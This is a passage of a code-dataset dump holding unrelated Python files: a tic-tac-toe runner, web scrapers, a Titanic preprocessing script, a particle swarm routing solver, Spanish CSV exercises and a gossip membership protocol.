(int) Number of columns\n- k : (int) Size of alignments\n- p1 : (str) Player, 'h' for human and 'c_`class`' for computer\n- p2 : (str) Player, 'h' for human and 'c_`class`' for computer\n - `class` is the name of your python file.\n - The name of the class inside this file has to be `Class`\n - Random selection of the first player.\n \"\"\")\n\n\ndef f_with_timeout(f, *args):\n \"\"\"\n Arguments:\n ----------\n - `f` : a Python3 function or method\n - `*args' : a variable-sized list of arguments\n\n Returns (o,t) where t is the execution time and\n o is the output of f if its execution time does not exceed TIMEOUT\n Otherwise, return None\n \"\"\"\n timer = threading.Timer(TIMEOUT, _thread.interrupt_main)\n out = None\n t = time.time()\n try:\n timer.start()\n try:\n out = f(*args)\n except BaseException:\n logging.exception(\"Something awful happened!\")\n except KeyboardInterrupt:\n pass\n t = time.time() - t\n timer.cancel()\n return (t, out)\n\n\ndef extractAgent(module_name, *args):\n \"\"\"\n Arguments:\n ----------\n - `module_name` : a Python3 module\n - `*args' : a variable-sized list of arguments\n\n Returns an instantation of the class extracted from `module_name`\n which have the same name with the first-letter capitalized\n \"\"\"\n mod = __import__(module_name)\n return getattr(mod, module_name.capitalize())(*args)\n\n\ndef play(args):\n \"\"\"\n Arguments:\n ----------\n - `args' : List of arguments\n\n Returns, from a new game parametrized with `args` :\n - Number of moves for each player\n - Total execution time for each player\n - The final state of the game\n \"\"\"\n if len(args) < 6:\n help()\n return -1\n\n try:\n n = int(args[1])\n except BaseException:\n help()\n return -1\n try:\n m = int(args[2])\n except BaseException:\n help()\n return -1\n\n try:\n k = int(args[3])\n except BaseException:\n help()\n return -1\n\n try:\n p1 = args[4]\n if p1[0] != \"h\":\n name = p1.split(\"_\")[1]\n p1 = extractAgent(name, 1, k, TIMEOUT)\n else:\n p1 = Human(1, k)\n except BaseException:\n help()\n return -1\n\n try:\n p2 = args[5]\n if p2[0] != \"h\":\n name = p2.split(\"_\")[1]\n p2 = extractAgent(name, 2, k, TIMEOUT)\n else:\n p2 = Human(2, k)\n except BaseException:\n help()\n return -1\n env = Tictactoe(n, m, k)\n p = [p1, p2]\n t = [0, 0]\n nact = [0, 0]\n while not env.terminalState():\n _, currentPlayer, _, _ = env.currentState()\n tX, act = f_with_timeout(p[currentPlayer - 1].move, deepcopy(env))\n if act is not None:\n i, j = act\n env.step((currentPlayer, i, j))\n else:\n lst = np.argwhere(env.M == 0)\n move = tuple(lst[np.random.randint(lst.shape[0])])\n env.step((currentPlayer, move[0], move[1]))\n t[currentPlayer - 1] += tX\n nact[currentPlayer - 1] += 1\n return (nact, t, env)\n\n\nif __name__ == \"__main__\":\n res = play(sys.argv)\n if res != -1:\n nact, t, env = res\n env.render()\n state = env.currentState()\n score = state[2]\n winner = np.argmax(state[2]) + 1 if state[2][0] != state[2][1] else -1\n if winner != -1:\n print(\"Winner is player \" + str(winner))\n else:\n print(\"There is a tie\")\n print(\"Score per player: \" + \"/\".join(map(str, score)))\n print(\"Number of moves per player : \" + \"/\".join(map(str, nact)))\n print(\"Play time per player : \" + \"/\".join(map(str, t)))\n","sub_path":"projects/tictactoe/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":4650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"111035481","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Feb 11 15:14:33 2015\n\n@author: Eloi\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport re\n\n\ndef substrings_in_string_title(big_string, title_list):\n decomposed = re.sub(\"[^\\w]\", \" \", big_string).split()\n for title in title_list:\n for word in decomposed:\n if word==title: \n return title\n return np.nan\n \ndef substrings_in_string_deck(big_string, deck_list):\n for deck in deck_list:\n if str(big_string)[0] == deck: \n return deck\n return np.nan\n \ndef replace_titles(x):\n title=x['Title']\n if title in ['Don', 'Major', 'Capt', 'Jonkheer', 'Rev', 'Col']:\n return 'Mr'\n elif title in ['Countess', 'Mme']:\n return 'Mrs'\n elif title in ['Mlle', 'Ms']:\n return 'Miss'\n elif title =='Dr':\n if x['Sex']=='Male':\n return 'Mr'\n else:\n return 'Mrs'\n else:\n return title\n \n\ndata = pd.read_csv(\"test.csv\")\ndata = data.drop([\"PassengerId\",\"Ticket\"], axis=1)\n\n#Turning cabin number into Deck\ncabin_list = ['A', 'B', 'C', 'D', 'E', 'F', 'T', 'G', 'Unknown']\ndata['Deck']=data['Cabin'].map(lambda x: substrings_in_string_deck(x, cabin_list))\n\n#Manage titles\ntitle_list=['Mrs', 'Mr', 'Master', 'Miss', 'Major', 'Rev',\n 'Dr', 'Ms', 'Mlle','Col', 'Capt', 'Mme', 'Countess',\n 'Don', 'Jonkheer']\ndata['Title']=data['Name'].map(lambda x: substrings_in_string_title(x, title_list))\n\n#Replace missing ages with the average age of people with the same title\naverage_age = data.groupby(\"Title\").aggregate(np.mean)[\"Age\"]\ndata[\"Age\"] = data.apply(lambda row: average_age[row[\"Title\"]]\n if pd.isnull(row[\"Age\"])\n else row[\"Age\"],\n axis=1)\n\n\n#replacing all titles with mr, mrs, miss, master\ndata['Title']=data.apply(replace_titles, axis=1)\n\n#remove the name feature\ndata = data.drop([\"Name\", \"Cabin\"], axis = 1)\n\n#add a missing values column for weka\ndata.insert(0, \"Survived\", \"?\")\n\n#add familysize feature (= SibSp + Parch)\ndata[\"Familysize\"] = data[\"SibSp\"] + data[\"Parch\"]\n\n#add ageclass (= age * Pclass)\ndata['Age*Class']=data['Age'] * data['Pclass']\n\n#add fareperperson (= fare / familysize)\ndata['FarePerPerson']=data['Fare']/(data['Familysize']+1)\n\n#change missing values to \"?\"\ndata = data.fillna(\"?\")\n\ndata.to_csv(\"test_preprocessed.csv\",index=False)","sub_path":"drizard_zablocki/preprocessing_test.py","file_name":"preprocessing_test.py","file_ext":"py","file_size_in_byte":2487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"419047409","text":"from html_handle import downloader\nfrom html_handle import parser\nfrom html_handle import outputer\nfrom html_handle import url_manager\nimport logging\n\n\n# 爬虫类\nclass Spider:\n def __init__(self, root_url):\n self.root_url = root_url\n self.downloader = downloader.Downloader()\n self.parser = parser.Parser()\n self.outputer = outputer.Outputer()\n self.url_manager = url_manager.UrlManager()\n\n def craw(self):\n count = 0\n self.url_manager.add_new_url(self.root_url)\n while self.url_manager.has_new_url():\n new_url = self.url_manager.get_new_url()\n\n try:\n content = self.downloader.download(new_url)\n urls, data = self.parser.parse(new_url, content)\n self.url_manager.add_new_urls(urls)\n\n if data is not None:\n self.outputer.connect_data(data)\n\n # 记录数量\n count += 1\n\n # 10条保持一次\n if count % 10 is 0:\n logging.info('saving data to db, count: ' + str(count))\n self.outputer.save_to_db()\n\n if count > 10:\n break\n else:\n logging.info('skip joke with picture url: ' + new_url)\n\n except Exception as err:\n logging.error(str(err) + \" url: \" + new_url)\n\n self.outputer.save_to_db()\n\n\n# 日志模块初始化\ndef init_log():\n logging.basicConfig(level=logging.INFO,\n format='%(asctime)s %(levelname)-8s %(message)s',\n filename='log\\spider.log',\n filemode='a')\n\n console = logging.StreamHandler()\n console.setLevel(logging.DEBUG)\n formatter = logging.Formatter('%(asctime)s %(levelname)-8s %(message)s')\n console.setFormatter(formatter)\n logging.getLogger('').addHandler(console)\n\n\nif __name__ == \"__main__\":\n init_log()\n spider = Spider(\"http://www.qiushibaike.com/article/117488176\")\n spider.craw()\n","sub_path":"spider/spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":2095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"33816322","text":"# -*- coding: utf8 -*-\nimport re\n\nimport alascrapy.lib.extruct_helper as extruct_helper\nfrom alascrapy.spiders.base_spiders.ala_spider import AlaSpider\nfrom alascrapy.items import ProductIdItem\n\nTESTSCALE = 10\n\n\nclass CnetESSpider(AlaSpider):\n name = 'cnet_es'\n allowed_domains = ['cnet.com']\n start_urls = ['https://www.cnet.com/es/analisis/']\n\n def parse(self, response): \n review_urls_xpath = \"//a[@class='assetHed'][not(contains(\"\\\n \"@href,'videos'))]/@href\"\n review_urls = self.extract_list(response.xpath(review_urls_xpath))\n next_page_xpath = \"//a[@class='next']/@href\"\n\n for review_url in review_urls:\n yield response.follow(review_url,\n callback=self.parse_review_product)\n\n next_page = self.extract(response.xpath(next_page_xpath))\n if next_page:\n yield response.follow(next_page,\n callback=self.parse)\n\n def get_product_name(self, response):\n # example of response.url\n # https://www.cnet.com/es/analisis/bose-wireless-noise-masking-sleepbuds/primer-vistazo/\n url = response.url\n url_parsed = url.split('/')\n PRODUCT_INDEX = 5\n productname = url_parsed[PRODUCT_INDEX]\n return productname.replace('-', ' ').replace('review', '')\n\n def get_source_internal_id(self, response):\n body = response.text\n pattern = '\"mfr\":\"[^\"]*\",\"productId\":\"([^\"]*)\"'\n match = re.findall(pattern, body)\n sid = ''\n\n if match:\n sid = match[0]\n\n return sid\n\n def parse_price(self, product, response):\n price_xpath = \"//div[@class='price']/a/text()|\"\\\n \"//a[@class='price']/text()|\"\\\n \"//span[@class='msrp']/text()\"\n price_str = self.extract(response.xpath(price_xpath))\n\n if price_str:\n return ProductIdItem.from_product(\n product,\n kind='price',\n value=price_str\n )\n\n def parse_review_product(self, response):\n\n product_xpaths = {\n \"PicURL\": '//meta[@property=\"og:image\"][1]/@content'\n }\n\n product = self.init_item_by_xpaths(response, \"product\", product_xpaths)\n product['ProductName'] = self.get_product_name(response)\n sid = self.get_source_internal_id(response)\n if sid:\n product['source_internal_id'] = sid\n\n original_category_name_xpath = \"//a[@section='topic']/text()|\"\\\n \"//ul[@class='breadcrumb']/li[position()>1 and position()vehicle_capacity: #if capacity exceeds vehicle's total capacity, get out of loop\r\n break\r\n else:\r\n serve=serve+1 #increment of one more customer served\r\n cap=cap+demmatrix[cs[j]]\r\n served_customers.append(serve) \r\n\r\n if sum(served_customers)==customers:\r\n value=0\r\n return served_customers\r\n\r\n\r\n#----------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\n#Function to return minimum distance covered by all vehicle i.e fitness candidate\r\ndef min_distance_traverse(customers, demmatrix, distmatrix, vehicle_capacity, s): #s is solution\r\n size=len(s) \r\n min_vehicle=[0]*size #Minimum required vehicles\r\n min_dist_value=[0]*size #Total travelled Distance-The total distance travelled by all vehicles\r\n\r\n\r\n for i in range(size):\r\n currentsolution = s[i]\r\n customer_served_count=customers_served_by_each_vehicle(customers, vehicle_capacity, demmatrix, currentsolution)\r\n \r\n min_dist_value[i]=distance_traverse(customers, distmatrix, currentsolution, customer_served_count)\r\n min_vehicle[i]=len(customer_served_count) #Minimum required vehicles\r\n\r\n return min_dist_value\r\n\r\n\r\n#--------------------------------------------function that computes total travelled distance by each vehicle----------------------------------------------------------- \r\ndef distance_traverse(customers, distmatrix, currentsolution, customer_served_count):\r\n #setting lb and ub initially to zero, \r\n lowerbound=upperbound=0\r\n vehicle_count=len(customer_served_count)\r\n VehDistance = [0]*vehicle_count\r\n \r\n customer_vehicle_set = []\r\n for i in range(vehicle_count):\r\n lowerbound = sum( customer_served_count[0:i] )\r\n \r\n upperbound = lowerbound + customer_served_count[i]\r\n VehDistance[i] = customer_depot_distance(currentsolution[lowerbound:upperbound], distmatrix)\r\n \r\n return sum(VehDistance)\r\n\r\n\r\n#function returning distance calculated for each cluster from depot to customers and back to depot\r\ndef customer_depot_distance(cluster, distmatrix): #cluster defines the customer set assigned to each vehicle\r\n current_distance = 0\r\n #for calculation of distance from customer to customer and customer to depot for each vehicle\r\n for i in range(len(cluster)):\r\n if i == 0:\r\n #distance calculated from depot to a particular customer\r\n current_distance = current_distance + distmatrix[0][cluster[i]]\r\n else:\r\n current_distance =current_distance + distmatrix[cluster[i-1]][cluster[i]] #distance represented for one customer to other\r\n \r\n current_distance=current_distance+distmatrix[cluster[len(cluster)-1]][0] #distance for customer back to depot \r\n return current_distance\r\n\r\n\r\n#----------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\n\r\n#function that return customers by sorting the particle's position assigned to them\r\ndef sorting_customers(t1,t2):\r\n # zip is a tuple iterator here pairs t2 and t1 together\r\n pair=zip(t2,t1)\r\n #extracting t1 values on the basis of t2 values sorted using sorted function\r\n cus=[i for _,i in sorted(pair)]\r\n return cus\r\n\r\n\r\n\r\n#function that gives the fitness candidate i.e., the distance calculated for each generation\r\ndef fitness_value(particleposition, customers, demmatrix, distmatrix, vehicle_capacity):\r\n particle_customer_list=sorting_customers(list(range(1,customers+1)),particleposition)\r\n value_2=min_distance_traverse(customers, demmatrix, distmatrix, vehicle_capacity, [particle_customer_list])\r\n\r\n return value_2[0]\r\n\r\n\r\ndef particle_swarm_optimization(customers, demmatrix, distmatrix, vehicle_capacity, number_of_particles, number_of_iterations):\r\n #needed to calculate velocity and position vector\r\n #W is inertia constant\r\n W = 0.72\r\n #C1 is cognitive acceleration constant\r\n C1 = 2.05\r\n #C2 is social acceleration constant\r\n C2 = 2.05\r\n \r\n#creating particle position and velocity vector array\r\n vector_position_particle = [[] for i in range(number_of_particles)] \r\n vector_velocity = [[] for i in range(number_of_particles)]\r\n\r\n#initializing position and vector values with random values within a specific range\r\n\r\n for i in range(number_of_particles):\r\n for j in range(customers):\r\n #vector_position_particle[i][j] represents position of jth customer for particle number ith \r\n vector_position_particle[i].append(random.random()*random.randrange(-30,30))\r\n vector_velocity[i].append(random.random()*random.randrange(-30,30))\r\n #initially the pbest position vector will be the particle position value itself\r\n pb_position = vector_position_particle\r\n \r\n pb_fitness = [20000000 for i in range(number_of_particles)] #represents fitness for personal best\r\n gb_fitness = 20000000 #represents fitness for global best \r\n #initially it is assigned particle's first position values\r\n gb_position = vector_position_particle[0]\r\n\r\n iteration_no = 0\r\n #iteration is for how many generation it should calculate the fitness\r\n while iteration_no < number_of_iterations:\r\n\r\n for i in range(number_of_particles):\r\n\r\n fitness_candidate_value = fitness_value(vector_position_particle[i], customers, demmatrix, distmatrix, vehicle_capacity)\r\n \r\n #for setting personal and global best to the minimum fitness candidate value\r\n if(pb_fitness[i] > fitness_candidate_value):\r\n pb_fitness[i] = fitness_candidate_value\r\n pb_position[i] = vector_position_particle[i]\r\n\r\n if(gb_fitness > fitness_candidate_value):\r\n gb_fitness = fitness_candidate_value\r\n gb_position = vector_position_particle[i]\r\n\r\n \r\n for i in range(number_of_particles):\r\n for j in range(customers):\r\n vector_velocity[i][j] = (W*vector_velocity[i][j]) + (C1*random.random()) * (pb_position[i][j] - vector_position_particle[i][j]) + (C2*random.random()) * (gb_position[j]-vector_position_particle[i][j])\r\n vector_position_particle[i][j] = vector_velocity[i][j] + vector_position_particle[i][j]\r\n\r\n print(\"Obtained distance (fitness value) is : \", gb_fitness, \"in generation number \", iteration_no+1)\r\n \r\n iteration_no = iteration_no + 1\r\n \r\n \r\n particle_stochastic_position = sorting_customers(list(range(1, customers+1)), gb_position)\r\n\r\n return particle_stochastic_position #return list of set of vehicles\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"PSO.py","file_name":"PSO.py","file_ext":"py","file_size_in_byte":7623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"523217071","text":"#!/usr/bin/env python\r\n'''\r\nArchivos [Python]\r\nEjercicios de práctica\r\n---------------------------\r\nAutor: Inove Coding School\r\nVersion: 1.4\r\n\r\nDescripcion:\r\nPrograma creado para poner a prueba los conocimientos\r\nadquiridos durante la clase\r\n'''\r\n\r\n__author__ = \"Inove Coding School\"\r\n__email__ = \"alumnos@inove.com.ar\"\r\n__version__ = \"1.4\"\r\n\r\nimport csv\r\nimport re\r\n\r\n\r\ndef ej1():\r\n print('Ejercicios con diccionarios \\n')\r\n print (\"Ejercicio 1:\\n\")\r\n # Crear un diccionario vacio que luego completaremos\r\n # con el stock de elementos de ferreteris\r\n # el diccionario vacio debe llamarse \"stock\"\r\n\r\n stock = {\"tornillos\": 300, \"tuercas\": 150, \"arandelas\":300}\r\n print (stock,\"\\n\")\r\n\r\n print (\"_______________________________________\\n\")\r\n\r\n # stock = ....\r\n\r\n # Luego de crear el diccionario completelo\r\n # con el siguiente stock:\r\n # tornillos = 100\r\n # tuercas = 150\r\n # arandelas = 300\r\n\r\n # Los nombres tornillos, tuercas y arandelas\r\n # son las claves (keys) del diccionario\r\n # mientras que las cantidades son los valores (values)\r\n\r\n # Una vez armado el diccionario imprimirlo en pantalla con print\r\n\r\n\r\ndef ej2():\r\n print('Ejercicio con diccionarios \\n')\r\n print (\"Ejercicio 2:\\n\")\r\n\r\n # Basado en el ejemplo anterior, deseamos tener un stock mes a mes\r\n # de los items tornillos, tuerca y arandelas.\r\n\r\n # Crear un diccionario por cada mes, cada diccionario se llamara \"mes\"\r\n # Cada uno que se genere debe tener los tres campos\r\n # tornillos, tuerca y arandelas y su respectivo stock\r\n # # Cada diccionario deberá almacenarse en una lista llamada stock\r\n\r\n \r\n\r\n # Paso 1:\r\n # Generar un bucle de 3 iteraciones, solo generaremos el stock de\r\n # tres meses ok\r\n\r\n # Paso 2:\r\n # En cada iteracion del bucle solicitar por consola cuando\r\n # stock se desea informar de cada uno de los 3 elementos ok\r\n\r\n # Paso 3:\r\n # Generar un diccionar llamado \"mes\" con los tres valores\r\n # de stock ingresados por consola\r\n\r\n # Paso 4:\r\n # Almacenar ese diccionario generado en una lista\r\n # llamada \"stock\"\r\n\r\n # Paso 5:\r\n # Repetir el proceso nuevamente en la siguiente\r\n # iteracion del bucle\r\n # Cuando finalice el bucle su lista debera contener los tres\r\n # diccionarios almacenados.\r\n\r\n # Paso 6:\r\n # Imprimir en pantalla el resultado, deberá verse como\r\n # el siguiente ejemplo:\r\n\r\n # [{'tornillos': 30, 'tuercas': 20, 'arandelas': 5}, {'tornillos': 100, 'tuercas': 50, 'arandelas': 15}, {'tornillos': 80, 'tuercas': 70, 'arandelas': 10}]\r\n\r\n # NOTA: Este ejercicio es exactamente lo mismo que armar\r\n # el edificio viste en clase, con los departamentos por piso\r\n # pero los valores para cada diccionario en cada mes\r\n # son ingresados por consola\r\n\r\n meses = [\"enero\", \"febrero\", \"marzo\"]\r\n for i in meses:\r\n mes_stock= input(\"Ingresa el mes que deseas cargar stock\")\r\n \r\n if mes_stock in meses:\r\n tornillos = input (\"Idique el stock de tornillos segun el mes:\")\r\n arandelas = input (\"Idique el stock de arandelas segun el mes:\")\r\n tuercas = input (\"Idique el stock de tuercas segun el mes:\")\r\n mes_ingresado = (mes_stock)\r\n stock_mes = {\"tornillos\":(tornillos), \"arandelas\":(arandelas), \"tuercas\":(tuercas)}\r\n print(\"El stock correspondiente al mes de\",mes_ingresado, \"es de\", stock_mes,\"\\n\")\r\n \r\n else:\r\n print(\"El mes ingresado no es valido\")\r\n print (\"_______________________________________\\n\")\r\n \r\n\r\ndef ej3():\r\n print('Ejercicio de archivos CSV \\n')\r\n print (\"Ejercicio 3:\\n\")\r\n\r\n '''\r\n Realice un programa que abra el archivo 'stock.csv'\r\n y cuente el stock total de tornillos a lo largo\r\n de todo el archivo, sumando el stock en cada\r\n fila del archivo\r\n '''\r\n with open (r'C:\\Users\\Francisco Pch\\Desktop\\Python\\inove\\Curso 1 Inove\\unidad_5\\archivos_python-master\\stock.csv', newline='') as csvfile:\r\n reader = csv.DictReader(csvfile)\r\n col_tor = 0\r\n for row in reader:\r\n col_tor += int(row['tornillos'])\r\n print (\"El total de tornillos en la matriz es:\", col_tor,'\\n')\r\n\r\n print (\"_______________________________________\\n\")\r\n\r\n\r\n\r\ndef ej4():\r\n print('Ejercicios con archivos CSV \\n')\r\n print (\"Ejercicio 4:\\n\")\r\n \r\n '''\r\n Realice un programa que abra el archivo CSV \"propiedades.csv\"\r\n en modo lectura. Recorrar dicho archivo y contar\r\n la cantidad de departamentos de 2 ambientes y la cantidad\r\n de departamentos de 3 ambientes disponibles.\r\n Al finalizar el proceso, imprima en pantalla los resultados.\r\n '''\r\n with open (r'C:\\Users\\Francisco Pch\\Desktop\\Python\\inove\\Curso 1 Inove\\unidad_5\\archivos_python-master\\propiedades.csv', newline='') as csvfile:\r\n reader = csv.DictReader(csvfile)\r\n reader = list(reader)\r\n filas = len(reader)\r\n columnas = len(reader[0])\r\n \r\n #para conocer el largo de filas y columnas#\r\n print (\"El archivo tiene\", filas,\"filas y tiene\", columnas, \"columnas \\n\")\r\n\r\n \r\n # para conocer los titulos de las comlumnas#\r\n print(\" Los titulos de las columnas son:\")\r\n columnas = (reader[0])\r\n for col in columnas:\r\n columnas = (col)\r\n print(columnas, '\\n')\r\n \r\n\r\n # para resolver el ejercicio#\r\n \r\n col_ambi_2 = 0\r\n col_ambi_3 = 0\r\n\r\n for i in range (len(reader)):\r\n columna = reader[i]\r\n for k, v in columna.items():\r\n if (k=='ambientes') and (v == \"2\"):\r\n col_ambi_2 += 1\r\n if (k=='ambientes') and (v == \"3\"):\r\n col_ambi_3 += 1\r\n print (\"La cantidad de departamentos con 3 ambientes es:\",col_ambi_2, \"\\n\")\r\n print (\"La cantidad de departamentos con 3 ambientes es:\",col_ambi_3, \"\\n\")\r\n \r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n print(\"Bienvenidos a otra clase de Inove con Python\")\r\n ej1()\r\n ej2()\r\n ej3()\r\n ej4()\r\n","sub_path":"ejercicios_practica.py","file_name":"ejercicios_practica.py","file_ext":"py","file_size_in_byte":6119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"94296744","text":"import os\nfrom drain3_online import LogParserOnline\n\nenv_kafka_servers = \"decorus_kafka_servers\"\nenv_tenant_id = \"decorus_tenant_id\"\ntopic_name_prefix = \"template_miner_snapshot_\"\n\nservers = os.environ.get(env_kafka_servers, \"localhost:9092\")\nserver_list = servers.split(\",\")\ntenant_id = os.environ.get(env_tenant_id, \"a1\")\n#if tenant_id is None:\n# raise RuntimeError(f\"env variable: '{app_config.env_decorus_tenant_id}' does not exist\")\n\ntopic = topic_name_prefix + tenant_id\nprint(\"Kafka servers = \" + str(server_list) + \"\\nKafka topic = \" + str(topic))\nlog_parser = LogParserOnline(\"KAFKA\", server_list, topic) \nlog_parser.start()\n\n\n","sub_path":"examples/example_drain_online_with_kafka_persist.py","file_name":"example_drain_online_with_kafka_persist.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"228036894","text":"#!/usr/bin/python\n# coding=utf-8\n\n__author__ = 'jzg'\n\nfrom app import app\nimport sys\n\nif __name__ == '__main__':\n app.debug = True\n port = 5000\n if len(sys.argv) > 1:\n port = int(sys.argv[1])\n app.run(host='0.0.0.0', port=port)\n","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"352509402","text":"from matplotlib.dates import strpdate2num\nfrom matplotlib.mlab import load\nfrom pylab import figure, show\n\ndates, closes = load(\n 'data/msft.csv', delimiter=',',\n converters={0:strpdate2num('%d-%b-%y')},\n skiprows=1, usecols=(0,2), unpack=True)\n\nfig = figure()\nax = fig.add_subplot(111)\nax.plot_date(dates, closes, '-')\nfig.autofmt_xdate()\nshow()\n","sub_path":"sandbox/src1/examples/load_converter.py","file_name":"load_converter.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"261403152","text":"# 1. Создать программно файл в текстовом формате, \n# записать в него построчно данные, вводимые пользователем. \n# Об окончании ввода данных свидетельствует пустая строка.\n\nprint('Введите текст: ')\n\nwith open('task1.txt', 'w') as f:\n is_input_over = False\n while not is_input_over:\n user_string = input()\n if len(user_string) == 0:\n is_input_over = True\n f.write(user_string + '\\n')","sub_path":"homework5/task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"261037231","text":"import socket\nimport random\nimport time\nimport math\n\nfrom membership_list import MembershipList, Status\nfrom messages import create_message, MessageType\nfrom protocol import ProtocolBase, ProtocolType\n\nNUM_SEND_PER_ROUND = 3\nAPPROX_NUM_NODE = 10\n\n\nclass Gossip(ProtocolBase):\n @staticmethod\n def get_type():\n return ProtocolType.GOSSIP\n\n @staticmethod\n def process_message(address, message_json, mem_list):\n if message_json[\"type\"] != MessageType.GOSSIP.value:\n return\n\n for node_id, props in message_json[\"mem_list\"].items():\n # new node joined\n if not mem_list.contains_node(node_id):\n mem_list.add_node(node_id, props[\"host\"], props[\"port\"])\n # this node left group\n elif props[\"status\"] == Status.LEFT.value and mem_list.is_alive(node_id):\n mem_list.mark_left(node_id)\n # only update alive nodes' info\n elif props[\"status\"] == Status.ALIVE.value and mem_list.is_alive(node_id):\n # only update time when received sequence number is larger\n if props[\"seqnum\"] > mem_list.get_seqnum(node_id):\n mem_list.update_state(\n node_id, Status.ALIVE, props[\"seqnum\"], time.time()\n )\n\n @staticmethod\n def _update_status_and_send_gossip(sender_id, mem_list, sock, seqnum, status, fail_rate=0.0):\n # update my status and sequence number\n mem_list.update_state(sender_id, status, seqnum, time.time())\n # get all other nodes that are alive\n alive_nodes = list(mem_list.get_alive_nodes_not_me(sender_id).items())\n # choose random ones to GOSSIP to\n if len(alive_nodes) <= NUM_SEND_PER_ROUND:\n rand_nodes = alive_nodes\n else:\n # note: this samples without replacement\n rand_nodes = random.sample(alive_nodes, NUM_SEND_PER_ROUND)\n\n for _, row in rand_nodes:\n server_addr = (row[\"host\"], row[\"port\"])\n message = create_message(MessageType.GOSSIP, mem_list=mem_list,)\n # send the message, unless dropped, according to the failure rate\n if random.random() >= fail_rate:\n sock.sendto(message, server_addr)\n\n @staticmethod\n def send_message(sender_id, mem_list, sock, sender_host, sender_port, seqnum, fail_rate=0.0):\n Gossip._update_status_and_send_gossip(\n sender_id, mem_list, sock, seqnum, Status.ALIVE, fail_rate\n )\n\n @staticmethod\n def send_message_interval(failure_detection_time, dissemination_time) -> float:\n # approximately disseminate to all other nodes within half of dissemination_time\n return dissemination_time / (2 * math.log2(APPROX_NUM_NODE)) / 2\n\n @staticmethod\n def leave_group(sender_id, mem_list):\n seqnum = mem_list.get_seqnum(sender_id) + 1\n with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:\n Gossip._update_status_and_send_gossip(\n sender_id, mem_list, sock, seqnum, Status.LEFT\n )\n mem_list.clear()\n\n @staticmethod\n def timeout_interval(failure_detection_time, dissemination_time) -> float:\n # save half of dissemination_time to disseminate and use the rest for timeout\n if failure_detection_time > dissemination_time / 2:\n return dissemination_time / 2\n else:\n return failure_detection_time\n","sub_path":"Simplified Distributed File System/extra/gossip.py","file_name":"gossip.py","file_ext":"py","file_size_in_byte":3459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"260276926","text":"# -*- coding: utf-8 -*-\nimport os.path\nimport scrapy\nfrom HTMLParser import HTMLParser\n\n\nclass omiranteSpider(scrapy.Spider):\n name = \"omirante\"\n allowed_domains = [\"omirante.pt\"]\n start_urls = [\n \"http://omirante.pt/\",\n ]\n\n visit = []\n\n def parse(self, response):\n\n # data exists\n if hasattr(response, 'xpath'):\n\n # --------------------------------------------------------------\n # specific for each site\n title = response.xpath('//span[@class=\"titulo\"]')\n article = response.xpath('//span[@class=\"texto\"]')\n\n content = \"\"\n\n if title:\n content += HTMLParser().unescape(title.extract()[0]) + \"\\n\"\n if article:\n for art in article:\n content += HTMLParser().unescape(art.extract())\n\n if content != \"\":\n filename = self.name + \"/\"\n filename += response.url.split(\"/\")[-1] + '.raw'\n # --------------------------------------------------------------\n\n if not os.path.isfile(filename):\n content = content.encode('utf-8', 'ignore')\n open(filename, \"wb\").write(content)\n\n # search for other links\n if hasattr(response, 'css'):\n for href in response.css(\"a::attr('href')\"):\n url = response.urljoin(href.extract())\n\n if url not in self.visit:\n self.visit.append(url)\n\n yield scrapy.Request(url, callback=self.parse)\n","sub_path":"resources/spiders/omirante.py","file_name":"omirante.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"201356293","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nfrom collections import defaultdict, deque\n\nclass Solution:\n def distanceK(self, root: TreeNode, target: TreeNode, K: int) -> List[int]:\n if K == 0:\n return [target.val]\n\n adj = defaultdict(list)\n self.preorder(root, adj)\n res = []\n \n cnt = 0\n queue = deque()\n visited = set()\n \n queue.append(target.val)\n visited.add(target.val)\n \n while queue:\n for _ in range(len(queue)):\n x = queue.popleft()\n for neighbor in adj[x]:\n if neighbor in visited:\n continue\n if cnt == K - 1:\n res.append(neighbor)\n continue\n else:\n queue.append(neighbor)\n visited.add(neighbor)\n \n cnt += 1\n \n return res\n \n \n def preorder(self, node, adj):\n if not node:\n return\n if node.left:\n adj[node.val].append(node.left.val)\n adj[node.left.val].append(node.val)\n self.preorder(node.left, adj)\n if node.right:\n adj[node.val].append(node.right.val)\n adj[node.right.val].append(node.val)\n self.preorder(node.right, adj)\n \n","sub_path":"863_All_Nodes_Distance_K_in_Binary_Tree/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"4916611","text":"'''\r\nCreated on Aug 17, 2009\r\n\r\n@author: par\r\n'''\r\nfrom dungeon_game.dungeons.base_dungeon import 